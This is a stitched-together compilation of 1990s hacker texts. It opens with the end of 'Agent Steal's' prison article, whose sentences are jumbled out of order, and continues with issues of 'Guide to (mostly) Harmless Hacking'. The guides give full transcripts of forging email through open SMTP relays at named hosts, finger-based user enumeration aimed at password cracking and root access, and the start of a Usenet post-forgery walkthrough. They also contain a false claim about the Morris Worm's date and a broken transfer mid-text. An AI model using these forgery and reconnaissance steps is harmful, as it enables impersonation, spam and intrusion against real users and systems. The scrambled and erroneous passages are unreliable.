place. thereby preventing convicts from getting out of prison early. silly rabbit. If you have ANY history of drug use you will be required to submit to random (weekly) urinalyses. M. HALFWAY HOUSE All "eligible" inmates are to serve the last 10% of their sentence (not to exceed six months) in a Community Corrections Center (CCC). In some cases you might get stuck there for a month or three. You are a not a free man able to travel and work as you please. Your P. no cause to keep an eye on you.O. Naturally they feed you but. can violate you for any technical violations and send you back to prison for several months.O. Disciplinary actions will land you in the hole for typically a week or two. in my opinion. L. it's much like restricting someone who used a car to get to and from a bank robbery to not ever drive again. Supervised Release.. And no. they are lying. In reality many hackers don't even need a computer to achieve their goals. is nothing more than extended punishment. If a hacker is predisposed to hacking he's going to be able to do it with or without restrictions. The government abolished parole. schools. With computers at libraries. you are not allowed call forwarding. or over a year. which is nothing more than a large house in a bad part of town.O. For the next 3 to 5 years you will be on Supervised Release.

as a general rule. and once again crime. growing up has been a long road for me. SUMMARY What a long strange trip it's been. Furthering the humiliation. it's important for you to know the program. Granted I've made my mistakes. For those it is best to violate. perhaps I just want to help some poor 18-year-old hacker who really doesn't know what he is getting himself in to. After a year or so. turn their backs after I had assisted them. Friends that I am immensely loyal to. Although the judge may continue your supervis ion. just violate my rights. and occasionally your fists. But frankly. the press. file a motion. other inmates. despite their efforts to kick me when I was down. If there is a central theme to this article it would be how ugly your world can become. your attorney. the criminal justice system is that screwed up. It's hard to express the poignancy of the situation but the majority of those incarcerated feel that if drastic changes are not made America is due for some serious turmoil. will not be concerned with presenting the truth. use me. You may not agree with how I lived my life. perhaps it's just my ego. and all of your government debts paid. No . and I could see prison conditions were worsening. I just sat down one day and started writing. I can however. The vultures and predators will try to pick what they can off of you. sucked into their vacuum. and the rules. You become fair game.your Supervised Release terminated ea rly by the court. Yes. Defending yourself from all of these forces will require all of your wits. Nevertheless. So much for first impressions. However. Whatever the reason. it might be plausible. I was still able to emerge better educated than when I went in. all of your resources. go back to prison for a few months. My purpose in writing this article was not to send any kind of message. it certainly was not on the behalf of how I was handled by the government. I wrote this simply because I feel l ike I owe it to whomever might get use of it. But if you believe everything y ou read you'd have the impression that Mitnick is a vindictive loser. and in general. the system is not working. I just hope I was able to enlighten you and in some way to help you make the right choice. Attorneys. The Nation's thirst for vengeance on criminals is leading us into a vicious feedback loop of crime and punishment. and they shine the spotlight on you. It's open season for the U. but you wouldn't have any trouble understanding why I chose to live it that way. Let me assure you that if you met me today you would quickly see that I am quite likable and not the villain many (especially Jon Littman) have made me out to be. Once you get grabbed by the law. For some strange reason I am oddly compelled to tell you what happened to me. If you have read any of the 5 books I am covered in you will no doubt have a rather jaded opinion of me. Whether it's protecting yourself from what could be a traumatic life altering experience. See you in the movies Agent Steal 1997 Contents of Volume 1: . or compelling you to focus your computer skills on other avenues. N. I have a great deal of mixed emotions about my whole ordeal. perhaps even a civil war. Perhaps this is some kind or therapy. Poulsen a furtive stalker. and prison officials. I have no shortage of good friends. the language. my release from prison was just in the nick of time. with good cause. say that I HAVE benefitted from my incarceration. I'm not telling you how not to get caught and I'm not telling you to stop hacking.S. Hire an attorney. and hope the judge terminates their Supervised Release. he/she typically will not. The long term effects of incarceration and stress were creeping up on me. and I a two faced rat. They will print what suits them and often omit many relevant facts. there will be little you can do to protect yourself. Quite simply. For many convicts Supervised Release is simply too much like being in prison. All of those assessments would be incorrect.

******************** Now maybe you were making a sincere call for help. 1 Number 1 Hacking tip of this column: how to finger a user via telnet. hacking is surprisingly easy. it is definitely a way to have fun.^D This column can become your gateway into this world. today! But regardless of why you want to be a hacker. How to forge email How finger can be used to crack into an Internet host. however. So what do you need to become a hacker? Before I tell you. all mean “elite. ********************* Newbie note: 3l1t3.Hacking tip of this column: how to finger a user via telnet.” The idea is to take either the word “elite” or “eleet” and substitute numbers for some or all the letters. The word conjures up evil computer geniuses plotting the downfall of civilization while squirreling away billions in electronically stolen funds in an Antigua bank. I’ll give you a chance to prove it to yourself. and credit card numbers!!!" . etc. impress your buddies. We fool around and try odd things. and get dates. Furthermore. 31337. But I define hacking as taking a playful. Hacker d00dz do this sor7 of th1ng l0tz. right? Yes. How to nuke offensive Web sites. How to Forge Email Using Eudora Pro _______________________________________________________ GUIDE TO (mostly) HARMLESS HACKING Vol. If you are a female hacker you become totally irresistible to all men. What we worry about is the kind of guy who says. But there is a reason many hackers are quick to flame strangers who ask for help. Some of us may be crooks. Gimme some passwords. you will be able to pull off a stunt that will impress the average guy or gal unlucky^H^H^H^H^H^H^H fortunate enough to get collared by you at a party. _______________________________________________________ Hacking. some of these 3l1te types like to flame the newbies. How get Usenet spammers kicked off their ISPs How get email spammers kicked off their ISPs. They act like they were born clutching a Unix manual in one hand and a TCP/IP specification document in the other and anyone who knows less is scum. adventurous approach to computers. We also like zs. after reading just this first Guide to (mostly) Harmless Hacking. But I *don't* want to learn programming and operating systems. and when we stumble across something entertaining we tell our friends about it. I am going to subject you to a rant. In fact. Hackers don't go by the book. Have you ever posted a message to a news group or email list devoted to hacking? You said something like “What do I need to become a hacker?” right? Betcha you won’t try *that* again! It gives you an education in what “flame” means. Take my word for it!. "I want to become a hacker. d00dz! Yeah. or at least harmless. but more often we are good guys.

But. etc. if you break into a portion of a computer that is not open to the public. First. you can’t hack! But you can easily tell if it is a real shell account. yet legal and harmless hacking.Honest. If you have Windows 3. many of the “hackers” you read about getting busted are in fact clueless newbies. What this means is that if you use the right commands. There are public FTP and Web sites on the Internet that offer canned hacking programs. you have committed a federal felony. you should use a “terminal emulation program” to log on.1 or Windows 95. Post something like this and you are likely to wake up the next morning to discover your email box filled with 3. you have committed a crime. Warning: the tech support person at your ISP may tell you that you have a “shell account” when you really don’t. It will make hacking infinitely easier: A SHELL ACCOUNT!!!! A “shell account” is an Internet account in which your computer becomes a terminal of one of your ISP’s host computers. That. soon you will be learning hacks that shed light on how other people (Not you. collectors of Franklin Mint doo-dads. How can a clueless newbie trash other people’s computers? Easy. proctology. ..000 messages from email discussion groups on agricultural irrigation. Many ISPs don’t really like shell accounts. Etc. Once you are in the “shell” you can give commands to the Unix operating system just like you were sitting there in front of one of your ISP’s hosts.these are hacks that anyone can do. But I won’t teach you how to harm other people’s computers. these are *fun* hacks. is what you already do when you visit a Web site. of course.. And -. right? Promise?) may crack into the non-public parts of hosts. The reason is that each computer on the Internet has some sort of public connections with the rest of the Net.. etc. etc. a VT 100 terminal program is included as one of your accessory program. Get one and then try out a few Unix commands to make sure it is really a shell account. In fact. Furthermore.arrrgghhhh! The reason we worry about wannabe hackers is that it is possible to break into other people’s computers and do serious damage even if you are almost totally ignorant. I have seen this sort of post in hacker groups. ****************************** You can go to jail tip: Even if you do no harm. Or even how to break in where you don’t belong. Guess why? If you don’t have a shell account. either. If you telnet across a state line to break in. ************************************* I will focus on hacking the Internet.. you can *legally* access these computers. there is one thing you really need to get. But I will show you how to access and use Internet host computers in ways that most people didn’t know were possible.. This column will teach you how to do real. Thanks to these canned tools. Any good ISP will allow you to try it out for a few days with a guest account. without resorting to these hacking tools. You will need a program that allows you to imitate a VT 100 terminal.

Make that command: cmeinel This will tell you a hacker secret about why port 79 and its finger programs are way more significant than you might think. give the command: finger cmeinel@techbroker.You don’t know Unix? If you are serious about understanding hacking.swcp. Normally you would just enter the command: finger Joe_Schmoe@Fubar. and: telnet slug. Serious hackers study books on: a) Unix.com But instead of Joe Schmoe.swcp.” But there is a more elite way to finger people. Have you ever used the finger command before? Finger will sometimes tell you a bunch of stuff about other people on the Internet. They are full of hot air and thin on how-to. c) TCP/IP.com Now this command may tell you something. or it may fail with a message such as “access denied. Now.but later. heck. But the program that llama and many other Internet hosts are running will usually allow you to give only ONE command before automatically closing the connection.com 19 Will show you a good time! OK.swcp.without giving it a password.com 79 What this command has just done is let you get on a computer with an Internet address of llama. I'm signing off for this column.com 13 That will give you the time and date here in New Mexico. you put in the email address of someone you would like to check out. I like "The Unix Companion" by Harley Hahn. No. try telnetting to some other ports. Happy hacking! . Or. rant is over. You can give the command: telnet llama. maybe something else if the friendly neighborhood hacker is still planting insulting messages in my files.swcp. which is the set of protocols that make the Internet work. I don't mean the kind with breathless titles like “Secrets of Super hacker. Time to hack! How would you like to start your hacking career with one of the simplest. for an extra hacking bonus. OK. my email address is cmeinel@techbroker.com through its port 79 -. I like "Learning the Bash Shell" by Cameron Newham and Bill Rosenblatt. A “shell” is the command interface between you and the Unix operating system. hacks of the Internet? Here it comes: telnet to a finger port.” I’ve bought too many of that kind of book. For example. b) Shells. you’ll need some good reference books. yet potentially hairy.com. And I promise to tell you more about what the big deal is over telnetting to finger -. So to finger me. I like "TCP/IP for Dummies" by Marshall Wilensky and Candace Leiden. For example: telnet kitsune.

and how to spot forgeries. you have to learn Unix. And you only need to memorize *two* commands. But I’m not going to teach you to break into private parts of computers.com. But your best way to do this stuph is with a SHELL ACCOUNT! If you don’t have one yet. In fact. Besides. But -. But that same feature of the Internet still has lots of fun and games and bugs left in it. harmless. what we are about to learn is the first step of several of the most common ways that hackers break into private areas of unsuspecting computers. I’m at cmeinel@techbroker.or less. yet still lots of fun. Please direct flames to dev/null@techbroker. for example. Happy hacking! GUIDE TO (mostly) HARMLESS HACKING Vol. Netcom.******************************************************* Want to share some kewl hacker stuph? Tell me I’m terrific? Flame me? For the first two. you can master it in half an hour -. . Unix is a lot like DOS.com. the flaw he exploited to fill up 10% of the computers on the Internet with his self-mailing virus has been fixed now -.to do this hack. even though what you are about to learn will look like hacking of the most heroic sort.on most Internet hosts. Of course. You get a prompt on your screen and type out commands. this hack is super simple. No pulling the blinds and swearing blood oaths among your buddies who will witness you doing this hack. So what you are about to learn is legal. **************************** Even if you have never telnetted before. right? So how would you like to be able to gain access and run a program on the almost any of the millions of computers hooked up to the Internet? How would you like to access these Internet computers in the same way as the most notorious hacker in history: Robert Morris! It was his “Morris Worm” which took down the Internet in 1990. America Online and many other Internet Service Providers (ISPs) are such good nannies that they will shelter you from this temptation. this hack is spectacularly easy! ______________________________________________________________ Heroic Hacking in Half an Hour How would you like to totally blow away your friends? OK. will let you get away with this. A shell account is an Internet account that lets you give Unix commands. It sounds too sleazy. what is the hairiest thing you hear that super hackers do? It's gaining unauthorized access to a computer. Unix is the language of the Internet. I promise. get it now! *********************************** Newbie note #1. If you want to be a serious hacker. In fact. you need an on-line service which allows you to telnet to a specific port on an Internet host. But Compuserve. I am allergic to jail. 1 Number 2 In this issue we learn how to forge email -.

To find out whether your Internet service provider will let you do this stuph. They are virtual (software) ports. Incredible phun. which sends information both out and in.edu.unm. like a keyboard or RS232 serial port (for your modem). examples of ports are your monitor.edu 25 If you have ever done telnet before.1 #41 ready at Fri. boring Internet citizen and someone slaloming down the slippery slope of hackerdom. and your modem. Then try out today’s hack.unm. your keyboard and mouse.edu 25 This is a computer at the University of New Mexico. But. you probably just put in the name of the computer you planned to visit. Any worthwhile ISP will give you a test drive. whenever you telnet to a computer's port 25. Call and ask for a “shell account. Connected to callisto. Escape character is '^]'.24. which send information in.. a message saying "access denied" as you hit a firewall. ****************************** Newbie note #2: How to Get Shell Accounts Try your yellow pages phone book. These ports are identified by numbers. Many college accounts will let you get away with this.edu has many more ports than a typical home computer. My Compuserve account gets the vapors when I try this. Look under Internet. On your home computer.” They’ll usually say. Or the underpaid person you talk with doesn’t have a clue. The way around this is to ask for a free temporary guest account." But at least today Netcom will let me do this command. You see. ******************************* OK. tsk. What that 25 means is that you are commanding telnet to take you to a specific port on your intended victim. 220 callisto. can do. But those numbers afterward are what makes the first distinction between the good. And just about any cheap "shell account" offered by a fly-by-night Internet service provider will let you do this. which sends information out. Now these are not all physical ports.10. try this command: telnet callisto. you will get one of two results: once in awhile.edu Smail3. They think you are too dumb to know what a real shell account is. you get something like this: Trying 129. *********************************** But there is phun in that port 25. *********************************** Newbie note #3: Ports A computer port is a place where information goes in or out of it. er. 12 Jul 96 12:17 MDT . “Sure.1.” But lots of times they are lying. So let's get back to this command: telnet callisto. But an Internet host computer such as callisto.unm. computer.96.. more often than not.unm. too.unm. It simply crashes out of telnet without so much as a "tsk.28. but didn't add in any numbers afterward. let's assume that you have an account that lets you telnet someplace serious.

It just says. Ohmigosh. and this is what I get 250 The following SMTP commands are recognized: 250 250 HELO hostname startup and give your hostname 250 MAIL FROM:<sender address> start transaction from sender 250 RCPT TO:<recipient address> name recipient for message 250 VRFY <address> verify deliverability of address 250 EXPN <address> expand mailing list address 250 DATA start text of mail message 250 RSET reset state. drop transaction 250 NOOP do nothing 250 DEBUG [level] set debugging level. you can simply check up on the commands while online. a program used to compose and send email. it sends it on to the next computer on the net.. but if you email to someone far away... as you will soon learn. so what do we do with these commands? Yup.unm. And guess why you can get on it without logging in? Guess why it was the point of vulnerability that allowed Robert Morris to crash the Internet? Port 25 moves email from one node to the next across the Internet. So even if your memory is as bad as mine. or "man.edu to tell you what commands you can use. .1.. It automatically takes incoming email and if the email doesn't belong to someone with an email address on that computer.1. email may go through several computers. what do we do now? Well. at least one of three commands will get you information: "help. It makes you look really kewl because you know how to get the computer to tell you how to hack it. eventually to wend its way to the person to who this email belongs. it is easy to get the Internet addresses of these millions of computers. And it means that all you have to memorize is the "telnet <hostname> 25 " and "help" commands.28. And you can get access to almost any one of these computers without a password! Furthermore. There are millions of computers on the Internet that forward email." "?".default 1 250 HELP produce this help message 250 QUIT close SMTP connection 250 250 The normal sequence of events in sending a message is to state the 250 sender address with a MAIL FROM command. very primitive email program. when you get on a strange computer. you really can learn and memorize this hack in only half an hour. For the rest. OK.ready! Notice it is running Smail3. give the recipients with 250 as many RCPT TO commands as are required (one address per command) 250 and then to specify the mail message text after the DATA command.Hey." In this case I type in: help . get a look at this! It didn't ask us to log in. this is a very. if you really want to look sophisticated. Heck. Getting this list of commands is pretty nifty. Sometimes email will go directly from sender to recipient. In general. the next thing you do is ask callisto. maybe half a minute. End the last one with a QUIT. you figured it out. 250 Multiple messages may be specified.

edu Hello santa@north. the program running on 110. ******************************** Well. here's what I did.com 250 <cmeinel@nmia. 12 Jul 96 12:18 MDT But note that the header lines above say "Apparently-From" This is important because it alerts me to the fact that this is fake mail.) helo santa@north.. Recipient Okay data 354 Enter mail.com X Status: .org 250 callisto.pole. Apparently From: santa@north.org mail from:santa@north. Sender Okay rcpt to:cmeinel@nmia. end with ". what can we do with it? ******************************** Evil Genius note: Morris used the “DEBUG” command. Try telnetting there someday.org> This line above is my fake email address.com> . and that my incoming email is handled by the computer Socrates. 250 Mail accepted What happened here is that I sent some fake email to myself." on a line by itself It works!!! .org> . OK.org 250 <santa@north. Now let's take a look at what I got in my mailbox. it is probably a trap.pole.pole. One of the joys of hacking is exploring these computers to find ones that suit ones fancy.org Date: Fri. But usually POP. Apparently To: cmeinel@nmia. won’t give you help with its commands and boots you off the minute you make a misstep. whereas the computer’s responses are prefixed by numbers.. ***************************** Return Path: <santa@north. making it hard to have serious fun with them. showing the complete header: Here's what I saw using the free version of Eudora: X POP3 Rcpt: cmeinel@socrates This line tells us that X-POP3 is the program of my ISP that received my email. Don’t try this at home.unm. (My commands have no number in front of them. Trust me.pole... Nowadays if you find a program running on port 25 with the DEBUG command.pole. so now that we are in Morris Worm country. ***************************** Evil Genius Tip: email which comes into your email reading program is handled by port 110.Some of these computers have very good security.pole. But others have very little security.

an email program that runs on Unix systems.edu by nmia.unm.unm.unm. think again.28. So if you want to fake email.org> Received: from callisto. making them perfect for criminal email forgery. oh! Not only does it show that it may be fake mail -. Different email reading programs show different headers. it is possible that some may not even keep a log of users of port 25.1 #4) id m0uemp4 000LFGC. 12 Jul 96 12:20 MDT This identifies the computer on which I ran the smail program. Some are better defended.pole. So just because you get email with perfect-looking headers doesn’t mean it is genuine. You see. ****************************************** You can go to jail note: If you are contemplating using fake email to commit a crime.28. shows with this same email: Return Path: <santa@north.It works!!! Now here is an interesting fact. sendmail.pole. So both Pine and Eudora show this is fake mail.edu with smtp (Smail3. You need some sort of encrypted verification scheme to be almost certain email is genuine.com It works!!! If someone were to use this email program to do a dastardly deed. 12 Jul 96 12:18 MDT Message Id: <m0uemnL 0000HFC@callisto. Received: from santa@north. ******************************************* Here is an example of a different email program. that message ID is what will put the narcs on his or her tail.it has a message ID! This means that somewhere on Callisto there will be a log of message IDs telling who has used port 25 and the smail program. . So how good your fake email is depends on part on what email program is used to read it. Fri. their email address is left behind on the log along with that message ID.org by callisto. Fri.the email programs on port 25 of many Internet hosts are not as well defended as callisto.edu> Oh.1 #41) id m0uemnL 0000HFC. This will give you an idea of the small variations you'll run into with this hack. In fact.) But -.unm.1. It also tells what version of the smail program was running. If you are reading this you don’t know enough to forge email well enough to elude arrest. and some are not defended at all.com with smtp (Linux Smail3. it is harder to get away with it if you send it to someone using Pine than if they use the free version of Eudora.pole. Apparently From: santa@north.org And here is the "apparently-from" message again.pole.edu. Here's what Pine.1. every time someone logs on to port 25 on that computer.com Apparently To: cmeinel@nmia. Date: Fri. (You can tell what email program a person uses by looking at the header of their email. 12 Jul 96 12:18 MDT Apparently From: santa@north.

NET by nmia. Recipient is valid.nmia.64/4.com by InterLink. Date: Fri. what kind of email did that computer generate? Here's what I saw using Pine: Return Path: <santa@north.NET: closing the connection. Fri. 12 Jul 1996 15:43:20 0400 .com..org> Received: from InterLink.8. Sender is valid.the computer I was using for this hack -. rcpt to:cmeinel@nmia.pole.NET Sendmail AIX 3.nmia.INTERLINK..2/UCB 5.pole.com)" -.168.NET (AIX 3.com 250 cmeinel@nmia. However. 12 Jul 1996 15:43:20 0400 Oops.Here’s my command: telnet ns. many people use that Internet host computer.pole.pole.64/4. data 354 Enter mail. Fri.73. OK. my input has no numbers in front. character on a line by itself.Interlink.2/UCB 5. Escape character is '^]'.03) id AA23900.org And it responds: 250 InterLink.in there just to let me know it knows from what computer I've telnetted? But what the heck.com with smtp (Linux Smail3.. while the responses of the computer are prefaced by the number 250: mail from:santa@north.nmia.com) Oh.1.org (plato.pole. 250 Ok quit 221 InterLink. Again. 220 InterLink.03 ready at Fri.com 250 santa@north. all Internet hosts know that kind of info.NET Hello santa@north. oh! This sendmail version isn't fooled at all! See how it puts "(plato.NET computer has revealed the computer I was on when I telnetted to its port 25. 12 Jul 1996 15:45 T> ------------------------------------------------------------------------ Transfer interrupted! @north. I'll just bull ahead and send fake mail anyhow.28.. End with the ..1 #4) id m0ueo7t 000LEKC. Here the InterLink.. 12 Jul 96 13:43 MDT Received: from plato.com.NET.Net 25 The computer answers: Trying 198. Connected to NS. It works! .

I'm going to try another computer. Hmmm. But its phoniness doesn’t just jump out at you.32. well.164.152.Berkeley.NET> Apparently To: cmeinel@nmia..EDU. RCPT TO:cmeinel@techbroker..pole. 220 remarque. 11 Jul 1996 12 help 214 This is Sendmail version 8.. I wonder what their hosts are like? Having first looked up the numerical Internet address of one of their machines.com 250 Recipient ok DATA 354 Enter mail..152. .AA23900@InterLink.7.berkeley. here it doesn't say "Apparently-From. Sender ok Heyyy.7. let's see what this computer (which we now know is named remarque) will do to fake mail.org Message Id: <9607121943. this is interesting .31 ready at Thu. 214 End of HELP info Oh.3/1.org.org 250 santa@north.edu ESMTP Sendmail 8.Net is a pretty good one to send fake mail from. I didn't say "helo" and this sendmail program didn't slap me on the wrist! Wonder what that means. 214 For local information send email to Postmaster at your site.pole.pole.com It worked! OK.. Escape character is '^]'. MAIL FROM:santa@north. I give the command: telnet 128.164..3 214 Commands: 214 HELO EHLO MAIL RCPT DATA 214 RSET NOOP QUIT HELP VRFY 214 EXPN VERB 214 For more info use "HELP <topic>"..Interlink. the University of California at Berkeley is renowned for its computer sciences research... boy. Connected to 128." on a line by itself This is fake mail on a Berkeley computer for which I do not have a password.32.32. 214 End of HELP info Big f***ing deal! Oh. 214 To report bugs in the implementation send email to 214 sendmail@CS. An experienced email aficionado would know from the Received: line that this is fake mail. end with ".From: santa@north.. a slightly different sendmail program! I wonder what more it will tell me about these commands? HELP mail 214 MAIL FROM: <sender> 214 Specifies the sender." so now I know the computer ns.164 25 It responds with: Trying 128.152.

. 250 MAA23472 Message accepted for delivery quit 221 remarque.berkeley.edu closing connection Now we go to Pine and see what the header looks like: Return Path: <santa@north.pole.org> Received: from nmia.com by nmia.com with smtp (Linux Smail3.1.28.1 #4) id m0ueRnW 000LGiC; Thu, 11 Jul 96 13:53 MDT Received: from remarque.berkeley.edu by nmia.com with smtp (Linux Smail3.1.28.1 #4) id m0ueRnV 000LGhC; Thu, 11 Jul 96 13:53 MDT Apparently To: <cmeinel@techbroker.com> Received: from merde.dis.org by remarque.berkeley.edu (8.7.3/1.31) id MAA23472; Thu, 11 Jul 1996 12:49:56 0700 (PDT) Look at the three “received” messages. My ISP’s computer received this email not directly from Remarque.berkeley.edu. but from merde.dis.com, which in turn got the email from Remarque. Hey, I know who owns merde.dis.org! So the Berkeley computer forwarded this fake mail through famed computer security expert Pete Shipley's Internet host computer! Hint: the name "merde" is a joke. So is “dis.org.” Now let’s see what email from remarque looks like. Let’s use Pine again: Date: Thu, 11 Jul 1996 12:49:56 0700 (PDT) From: santa@north.pole.org Message Id: <199607111949.MAA23472@remarque.berkeley.edu> This is fake mail on a Berkeley computer for which I do not have a password. Hey, this is pretty kewl. It doesn't warn that the Santa address is phony! Even better, it keeps secret the name of the originating computer: plato.nmia.com. Thus remarque.berkeley.edu was a really good computer from which to send fake mail. (Note: last time I checked, they had fixed remarque, so don’t bother telnetting there.) But not all sendmail programs are so friendly to fake mail. Check out the email I created from atropos.c2.org! telnet atropos.c2.org 25 Trying 140.174.185.14... Connected to atropos.c2.org. Escape character is '^]'. 220 atropos.c2.org ESMTP Sendmail 8.7.4/CSUA ready at Fri, 12 Jul 1996 15:41:33 help 502 Sendmail 8.7.4 HELP not implemented Gee, you're pretty snippy today, aren't you... What the heck, let's plow ahead anyhow...

helo santa@north.pole.org 501 Invalid domain name Hey, what's it to you, buddy? Other sendmail programs don't give a darn what name I use with "helo." OK, OK, I'll give you a valid domain name. But not a valid user name! helo satan@unm.edu 250 atropos.c2.org Hello cmeinel@plato.nmia.com [198.59.166.165], pleased to meet you Verrrry funny, pal. I'll just bet you're pleased to meet me. Why the #%&@ did you demand a valid domain name when you knew who I was all along? mail from:santa@north.pole.com 250 santa@north.pole.com... Sender ok rcpt to: cmeinel@nmia.com 250 Recipient ok data 354 Enter mail, end with "." on a line by itself Oh, crap! . 250 PAA13437 Message accepted for delivery quit 221 atropos.c2.org closing connection OK, what kind of email did that obnoxious little sendmail program generate? I rush over to Pine and take a look: Return Path: <santa@north.pole.com> Well, how very nice to allow me to use my fake address. Received: from atropos.c2.org by nmia.com with smtp (Linux Smail3.1.28.1 #4) id m0ueqxh 000LD9C; Fri, 12 Jul 96 16:45 MDT Apparently To: <cmeinel@nmia.com> Received: from satan.unm.edu (cmeinel@plato.nmia.com [198.59.166.165]) Oh, how truly special! Not only did the computer atropos.c2.org blab out my true identity, it also revealed that satan.unm.edu thing. Grump... that will teach me. by atropos.c2.org (8.7.4/CSUA) with SMTP id PAA13437 for cmeinel@nmia.com; Fri, 12 Jul 1996 15:44:37 0700 (PDT) Date: Fri, 12 Jul 1996 15:44:37 0700 (PDT) From: santa@north.pole.com Message Id: <199607122244.PAA13437@atropos.c2.org> Oh, crap! So, the moral of that little hack is that there are lots of different email programs floating around on port 25 of Internet hosts. So if you want to have fun with them, it's a good idea to check them out first before you use them to show off with.

GUIDE TO (mostly) HARMLESS HACKING Vol. 1 Number 3 How finger can be used to crack into an Internet host. _______________________________________________________ Before you get too excited over learning how finger can be used to crack an Internet host, will all you law enforcement folks out there please relax. I’m not giving step-by-step instructions. I’m certainly not handing out code from those publicly available canned cracking tools that any newbie could use to gain illegal access to some hosts. What you are about to read are some basic principles and techniques behind cracking with finger. In fact, some of these techniques are fun and legal as long as they aren’t taken too far. And they might tell you a thing or two about how to make your Internet hosts more secure. You could also use this information to become a cracker. Your choice. Just keep in mind what it would be like to be the “girlfriend” of a cell mate named “Spike.” ********************************* Newbie note #1: Many people assume “hacking” and “cracking” are synonymous. But “cracking” is gaining illegal entry into a computer. “Hacking” is the entire universe of kewl stuff one can do with computers, often without breaking the law or causing harm. ********************************* What is finger? It is a program which runs on port 79 of many Internet host computers. It is normally used to provide information on people who are users of a given computer. For review, let’s consider the virtuous but boring way to give your host computer the finger command: finger Joe_Blow@boring.ISP.net This causes your computer to telnet to port 79 on the host boring.ISP.net. It gets whatever is in the .plan and .project files for Joe Blow and displays them on your computer screen. But the Happy Hacker way is to first telnet to boring.ISP.net port 79, from which we can then run its finger program: telnet boring.ISP.net 79 If you are a good Internet citizen you would then give the command: Joe_Blow or maybe the command: finger Joe_Blow This should give you the same results as just staying on your own computer and giving the command “finger Joe_Blow@boring.ISP.net.” But for a cracker, there are lots and lots of other things to try after gaining control of the finger program of boring.ISP.net by telnetting to port 79.

Ah, but I don’t teach how to do felonies. So we will just cover general principles of how finger is commonly used to crack into boring.ISP.net. You will also learn some perfectly legal things you can try to get finger to do. For example, some finger programs will respond to the command: finger @boring.ISP.net If you should happen to find a finger program old enough or trusting enough to accept this command, you might get something back like: [boring.ISP.net] Login Name happy Prof. Foobar

TTY Idle When Where co 1d Wed 08:00 boring.ISP.net

This tells you that only one guy is logged on, and he’s doing nothing. This means that if someone should manage to break in, no one is likely to notice -- at least not right away. Another command to which a finger port might respond is simply: finger If this command works, it will give you a complete list of the users of this host. These user names then can be used to crack a password or two. Sometimes a system will have no restrictions on how lame a password can be. Common lame password habits are to use no password at all, the same password as user name, the user’s first or last name, and “guest.” If these don’t work for the cracker, there are widely circulated programs which try out every word of the dictionary and every name in the typical phone book. ******************************** Newbie Note #2: Is your password easy to crack? If you have a shell account, you may change it with the command: passwd Choose a password that isn’t in the dictionary or phone book, is at least 6 characters long, and includes some characters that are not letters of the alphabet. A password that is found in the dictionary but has one extra character is *not* a good password. ******************************** Other commands which may sometimes get a response out of finger include: finger @ finger 0 finger root finger bin finger ftp finger system finger guest finger demo finger manager

Even if you just gain root access and immediately break off your connection -.ISP. leave that computer immediately! You’d better also have a good excuse for your systems administrator and the cops if you should get caught! If you were to make finger crash by giving it some command like ///*^S. Tell temptation to take a hike! ************************************ . But most commands on most finger programs will give you nothing. a really cautious sysadmin will disable finger entirely. Crash. The elite of the elite do more than just refrain from taking advantage of the systems they penetrate. That means finger can look in any account. There are plenty of other commands that may or may not work. They inform the systems administrator that they have cracked his or her computer. you may end up in root.but refusing the temptation. Please. In addition. the headers on the packets that carry your commands tell the sysadmin of your target who you are.net just about anything you want.what happens if finger crashes? Let’s think about what finger actually does.ISP. none of these commands I have shown you will give you root access. With root access.ISP. you might have a hard time claiming that you were innocently seeking publicly available information. *************** Truly elite types will crack into a root account from finger and just leave immediately. you have committed a Federal felony.net. ************************************ YOU CAN GO TO JAIL TIP #2: When you break into a computer.it’s still illegal. even just hitting <enter> once you are into port 79 may give you something interesting. run any program. They say the real rush of cracking comes from being *able* to do anything to boring. And once there. you can give it a command that directs it to read files from any user’s account you may choose.. “Root” is the account on a multi-user computer which allows you to play god.ISP. if you use the phone lines or Internet across a US state line to break into a non-public part of a computer. ***************** YOU CAN GO TO JAIL TIP #1: Getting into a part of a computer that is not open to the public is illegal. if you should happen to gain root access to someone else’s host. The worst that can happen is that the program will crash. and leave an explanation of how to fix the security hole. You don’t have to cause any harm at all -. If you are reading this column you don’t know enough to cover your tracks. because most system administrators don’t want to ladle out lots of information to the casual visitor.net’s port 79. In fact. That means if it crashes.net -. (I am *not* suggesting that you do so!) ************************* It is legal to ask the finger program of boring. It is the account from which you can enter and use any other account.Or. So you’ll never even manage to get into port 79 of some computers However.. ************************ Newbie note #3: Root! It is the Valhalla of the hard-core cracker.it’s still illegal. you can completely destroy all data on boring. It’s the first program you meet when you telnet to boring. They provide information only. read and modify any file.

com.to talk about Unix. ask yourself this question: is using it to advertise your existence across the Internet worth the risk? GUIDE TO (mostly) HARMLESS HACKING Vol.policy. Why risk going to jail when there are legal ways to keep these vermin of the Internet on the run? This issue of Happy hacker will show you some ways to fight Usenet spam.000 news groups. ***************** Here’s a quick summary of how to forge Usenet posts. So you will need to telnet from your ISP shell account back into your own ISP as follows: telnet news. to use our hacking knowledge to blow these guys to kingdom come.. Then some of the people wanted to talk about stuff like physics. _______________________________________________________ How do you like it when your sober news groups get hit with 900 number sex ads and Make Money Fast pyramid schemes? If no one ever made those guys pay for their effrontery.Mar-96 ready (posting) .swcp.59.misc. But many times that’s like using an atomic bomb to kill an ant. comp. and sex. ***************** Newbie Note #1: Usenet is a part of the Internet consisting of the system of on-line discussion groups called "news groups. and alt.newusers. it is easy to fake email. 1 Number 4 It’s vigilante phun day! How get Usenet spammers kicked off their ISPs. The bottom line is that any systems adminstrator that leaves the finger service running on his/her system is taking a major risk. The Usenet port usually is open only to those with accounts on that system.announce.. space flight." Examples of news groups are rec.4unoff4 05. isn’t it.com InterNetNews NNRP server INN 1. Usenet started out in 1980 as a Unix network linking people who wanted -. The rest is history. As we learned in the second Guide to (mostly) Harmless Hacking.sex.com. Well.swcp. it’s also easy to fake Usenet posts. Connected to sloth.115. news.com nntp where you substitute the part of your email address that follows the @ for “myISP.” With my ISP I get this result: Trying 198. but what are your chances of gaining root through finger? Haven’t zillions of hackers found all the crashable stuph? Doesn’t that suggest that finger programs running on the Internet today are all fixed so you can’t get root access through them any more? No. sci.25 .you guessed it -. barroom humor.Ah. soon Usenet would be inundated with crud. If you are the user of an ISP that allows finger. There are well over 10. we use the technique of telnetting to a specific port.myISP. Escape character is '^]'. Once again.humor. Spammers rely on forged email and Usenet posts.” You also have the choice of using “119” instead of “nntp. It’s really tempting. 200 sloth.space.

